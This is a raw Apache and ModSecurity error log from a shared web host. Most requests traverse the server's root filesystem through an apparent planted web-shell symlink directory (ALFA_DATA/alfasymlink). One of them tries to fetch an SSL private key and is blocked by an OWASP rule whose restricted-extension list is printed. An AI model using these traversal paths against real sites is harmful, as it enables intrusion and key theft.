[Sun Oct 25 03:23:02.057164 2026] [core:error] [pid 2775672:tid 2775672] (13)Permission denied: [client 185.191.171.19:17398] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/kvm_intel/sections/__jump_table
[Sun Oct 25 03:23:06.124148 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 44.215.61.66:20455] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:23:18.235754 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 54.204.62.163:60916] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:23:26.151498 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 54.164.106.236:21172] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:23:34.636362 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 85.208.96.203:24000] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-4k/poison
[Sun Oct 25 03:23:42.353128 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 52.4.238.8:63152] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:23:46.449230 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 3.211.181.86:64538] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:23:47.557733 2026] [security2:error] [pid 2781481:tid 2781481] [client 85.208.96.205:63230] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/99e10_f282b_c76631030db5180626138c51dbb5427d.key"] [unique_id "at2ugy7GhhaIo05efijCsAAAAAc"]
[Sun Oct 25 03:23:47.558097 2026] [security2:error] [pid 2781481:tid 2781481] [client 85.208.96.205:63230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/99e10_f282b_c76631030db5180626138c51dbb5427d.key"] [unique_id "at2ugy7GhhaIo05efijCsAAAAAc"]
[Sun Oct 25 03:23:47.558431 2026] [security2:error] [pid 2781481:tid 2781481] [client 85.208.96.205:63230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/99e10_f282b_c76631030db5180626138c51dbb5427d.key"] [unique_id "at2ugy7GhhaIo05efijCsAAAAAc"]
[Sun Oct 25 03:24:06.213798 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 98.84.60.17:22110] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:24:13.804661 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 185.191.171.14:26718] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:24:15.750086 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 85.208.96.207:34184] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_1k/shrink
[Sun Oct 25 03:24:22.271828 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 23.23.213.182:38361] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:24:26.218008 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 44.205.180.155:33904] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:24:34.236957 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 54.167.32.123:38390] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:24:38.034472 2026] [security2:error] [pid 2781481:tid 2781481] [client 185.191.171.1:52944] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/sys/fs/quota/writes"] [unique_id "at2uti7GhhaIo05efijCsgAAAAc"]
[Sun Oct 25 03:24:38.034547 2026] [security2:error] [pid 2781481:tid 2781481] [client 185.191.171.1:52944] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/sys/fs/quota/writes"] [unique_id "at2uti7GhhaIo05efijCsgAAAAc"]
[Sun Oct 25 03:24:50.504834 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 54.147.238.89:34289] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/exar_serial/remove_id
[Sun Oct 25 03:24:54.284893 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 18.232.11.247:38731] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:25:06.256189 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 3.229.164.203:22154] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:25:21.298865 2026] [core:error] [pid 2781480:tid 2781480] (13)Permission denied: [client 85.208.96.202:22784] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/RAWv6/objects_partial
[Sun Oct 25 03:25:26.312298 2026] [ssl:error] [pid 2775684:tid 2775684] (5)Input/output error: [client 18.213.70.100:31852] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:25:50.360970 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 35.169.240.53:14159] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:26:02.441356 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 18.235.158.19:15791] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:26:06.338664 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 54.159.18.27:41377] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:26:10.675291 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 100.25.120.246:8485] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:26:14.451691 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 52.3.104.214:24249] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:26:22.598414 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 54.159.18.27:30124] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:26:30.517292 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 100.29.164.178:32118] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:26:33.295501 2026] [core:error] [pid 2775712:tid 2775712] (13)Permission denied: [client 185.191.171.8:29376] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6_dst_cache/objs_per_slab
[Sun Oct 25 03:26:38.318563 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 52.200.142.199:40484] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:26:38.592386 2026] [core:error] [pid 2781507:tid 2781507] (13)Permission denied: [client 85.208.96.202:62258] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pde_opener/destroy_by_rcu
[Sun Oct 25 03:26:58.367364 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 98.82.214.73:62902] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:27:06.436519 2026] [security2:error] [pid 2781524:tid 2781524] [client 54.197.114.76:10538] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:17/power/"] [unique_id "at2vSoHtOs-nfC4GshpRLQAAABc"]
[Sun Oct 25 03:27:06.436585 2026] [security2:error] [pid 2781524:tid 2781524] [client 54.197.114.76:10538] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:17/power/"] [unique_id "at2vSoHtOs-nfC4GshpRLQAAABc"]
[Sun Oct 25 03:27:10.561172 2026] [core:error] [pid 2781481:tid 2781481] (13)Permission denied: [client 3.81.253.213:35711] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/serial/unbind
[Sun Oct 25 03:27:14.473759 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 54.147.182.90:35465] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:27:21.899624 2026] [core:error] [pid 2781523:tid 2781523] (13)Permission denied: [client 85.208.96.205:24206] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_sock_subflow/usersize
[Sun Oct 25 03:27:22.404528 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 3.213.85.234:3791] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:27:26.406524 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 34.234.197.175:27273] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:27:30.552044 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 23.23.213.182:49733] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:27:38.473692 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 44.213.202.136:1915] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:27:42.474575 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 98.80.130.239:60369] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:27:46.751218 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 23.23.213.182:17914] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:27:48.284877 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 185.191.171.14:40194] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:27:50.417816 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 3.232.39.98:20235] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:27:55.167241 2026] [security2:error] [pid 2775672:tid 2775672] [client 54.235.191.179:25529] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:0e/power/"] [unique_id "at2ve8qduxFlyzJhl1wENgAAAAA"]
[Sun Oct 25 03:27:55.167317 2026] [security2:error] [pid 2775672:tid 2775672] [client 54.235.191.179:25529] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:0e/power/"] [unique_id "at2ve8qduxFlyzJhl1wENgAAAAA"]
[Sun Oct 25 03:27:58.565719 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 52.204.71.8:37855] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:28:10.565173 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 54.221.203.24:37302] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:28:18.485818 2026] [security2:error] [pid 2781480:tid 2781480] [client 34.197.28.78:49151] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input3/subsystem/input4/event2/subsystem/mouse1/device/event3/"] [unique_id "at2vkqrU4NwppjTEGaL5vwAAAAY"]
[Sun Oct 25 03:28:18.485865 2026] [security2:error] [pid 2781480:tid 2781480] [client 34.197.28.78:49151] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input3/subsystem/input4/event2/subsystem/mouse1/device/event3/"] [unique_id "at2vkqrU4NwppjTEGaL5vwAAAAY"]
[Sun Oct 25 03:28:22.168164 2026] [core:error] [pid 2775672:tid 2775672] (13)Permission denied: [client 85.208.96.205:64228] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/free_calls
[Sun Oct 25 03:28:22.572252 2026] [core:error] [pid 2775684:tid 2775684] (13)Permission denied: [client 3.231.193.38:5307] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory1/node0/memory10/subsystem/drivers_probe
[Sun Oct 25 03:28:24.328499 2026] [core:error] [pid 2775712:tid 2775712] (13)Permission denied: [client 85.208.96.197:16176] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-16/free_calls
[Sun Oct 25 03:28:34.679708 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 44.221.105.234:5414] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/firmware_node/device:1c/subsystem/drivers/pvpanic/unbind
[Sun Oct 25 03:28:38.634885 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 18.207.79.144:18160] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:28:42.624009 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 98.83.177.42:60497] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:28:50.567673 2026] [ssl:error] [pid 2775712:tid 2775712] (5)Input/output error: [client 23.23.180.225:13401] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:29:02.526795 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 34.195.60.66:56978] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:29:10.525605 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 3.221.156.96:35604] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:29:15.165559 2026] [security2:error] [pid 2775672:tid 2775672] [client 85.208.96.211:43602] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/vulkan-loader/CONTRIBUTING.md"] [unique_id "at2vy8qduxFlyzJhl1wEOQAAAAA"]
[Sun Oct 25 03:29:15.165616 2026] [security2:error] [pid 2775672:tid 2775672] [client 85.208.96.211:43602] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/vulkan-loader/CONTRIBUTING.md"] [unique_id "at2vy8qduxFlyzJhl1wEOQAAAAA"]
[Sun Oct 25 03:29:26.816041 2026] [core:error] [pid 2781507:tid 2781507] (13)Permission denied: [client 3.216.227.216:22015] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:06/physical_node/resource4
[Sun Oct 25 03:29:34.586123 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 18.208.11.93:57922] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:29:38.596923 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 98.82.107.102:37198] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:29:43.014240 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 3.216.86.144:27491] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:29:45.441433 2026] [security2:error] [pid 2781524:tid 2781524] [client 43.162.109.249:36118] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at2v6YHtOs-nfC4GshpRMwAAABc"]
[Sun Oct 25 03:29:45.442855 2026] [authz_core:error] [pid 2781524:tid 2781524] [client 43.162.109.249:36118] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 03:29:50.735621 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 18.232.36.1:4918] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/resource4
[Sun Oct 25 03:30:06.765832 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 34.196.6.199:48995] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:30:14.645234 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 100.25.120.246:49511] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:30:22.667751 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 52.202.52.82:33601] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:30:23.258979 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 85.208.96.204:45814] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:30:35.164429 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 34.192.125.239:3817] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:30:36.166748 2026] [core:error] [pid 2781524:tid 2781524] (13)Permission denied: [client 185.191.171.4:62676] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/xfrm_dst_cache/trace
[Sun Oct 25 03:30:38.197063 2026] [core:error] [pid 2781481:tid 2781481] (13)Permission denied: [client 185.191.171.8:18930] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-128/usersize
[Sun Oct 25 03:30:42.674805 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 54.91.122.193:46491] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:30:55.072617 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 34.227.156.153:41238] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:30:58.797073 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 50.19.221.48:51923] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:31:02.756372 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 54.235.125.129:32922] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:31:06.728178 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 54.197.102.71:10228] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:31:18.764911 2026] [core:error] [pid 2781523:tid 2781523] (13)Permission denied: [client 54.85.126.86:15811] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:00/firmware_node/physical_node/driver/uevent
[Sun Oct 25 03:31:26.940469 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 34.224.9.144:30389] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:06/physical_node/driver/0000:00:05.0/resource4_wc
[Sun Oct 25 03:31:31.113409 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 34.202.88.37:47114] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:31:38.862825 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 52.71.216.196:33513] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:31:38.863056 2026] [security2:error] [pid 2781481:tid 2781481] [client 52.71.216.196:33513] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:17/subsystem/devices/LNXCPU:01/physical_node/cache/index0/id"] [unique_id "at2wWi7GhhaIo05efijCwQAAAAc"]
[Sun Oct 25 03:31:38.863087 2026] [security2:error] [pid 2781481:tid 2781481] [client 52.71.216.196:33513] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:17/subsystem/devices/LNXCPU:01/physical_node/cache/index0/id"] [unique_id "at2wWi7GhhaIo05efijCwQAAAAc"]
[Sun Oct 25 03:31:42.181303 2026] [security2:error] [pid 2781507:tid 2781507] [client 185.191.171.15:39444] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/tiki10/php56/upgrade.php"] [unique_id "at2wXp68N771hz7W4Klr6QAAAAw"]
[Sun Oct 25 03:31:42.181354 2026] [security2:error] [pid 2781507:tid 2781507] [client 185.191.171.15:39444] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/tiki10/php56/upgrade.php"] [unique_id "at2wXp68N771hz7W4Klr6QAAAAw"]
[Sun Oct 25 03:32:02.932615 2026] [security2:error] [pid 2781481:tid 2781481] [client 52.0.218.219:57192] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:0b/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:00/thermal_cooling/device/physical_node/node0/"] [unique_id "at2wci7GhhaIo05efijCwgAAAAc"]
[Sun Oct 25 03:32:02.932664 2026] [security2:error] [pid 2781481:tid 2781481] [client 52.0.218.219:57192] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:0b/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:00/thermal_cooling/device/physical_node/node0/"] [unique_id "at2wci7GhhaIo05efijCwgAAAAc"]
[Sun Oct 25 03:32:27.075625 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 98.84.200.43:40738] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:32:32.101014 2026] [core:error] [pid 2781480:tid 2781480] (13)Permission denied: [client 85.208.96.212:40746] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/modsec/modsec2.user.conf
[Sun Oct 25 03:32:39.005876 2026] [ssl:error] [pid 2775712:tid 2775712] (5)Input/output error: [client 44.223.116.149:51249] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:32:42.633867 2026] [core:error] [pid 2781481:tid 2781481] (13)Permission denied: [client 185.191.171.3:56708] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_tasks/ctor
[Sun Oct 25 03:32:43.120759 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 44.205.120.22:60413] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:32:51.127204 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 35.169.240.53:40317] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:32:55.212218 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 23.23.104.107:51619] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:32:58.990353 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 54.225.181.161:59377] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:33:03.467967 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 3.224.205.25:22163] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:33:11.371823 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 44.209.35.147:44226] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:33:15.214362 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 54.163.136.244:60537] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:33:16.721919 2026] [security2:error] [pid 2781507:tid 2781507] [client 43.133.69.37:60648] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/betaok/bulletok.php"] [unique_id "at2wvJ68N771hz7W4Klr7QAAAAw"]
[Sun Oct 25 03:33:19.422314 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 34.225.138.57:54725] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:33:23.073113 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 54.80.185.200:40870] AH02013: coalesce failed to read from data bucket
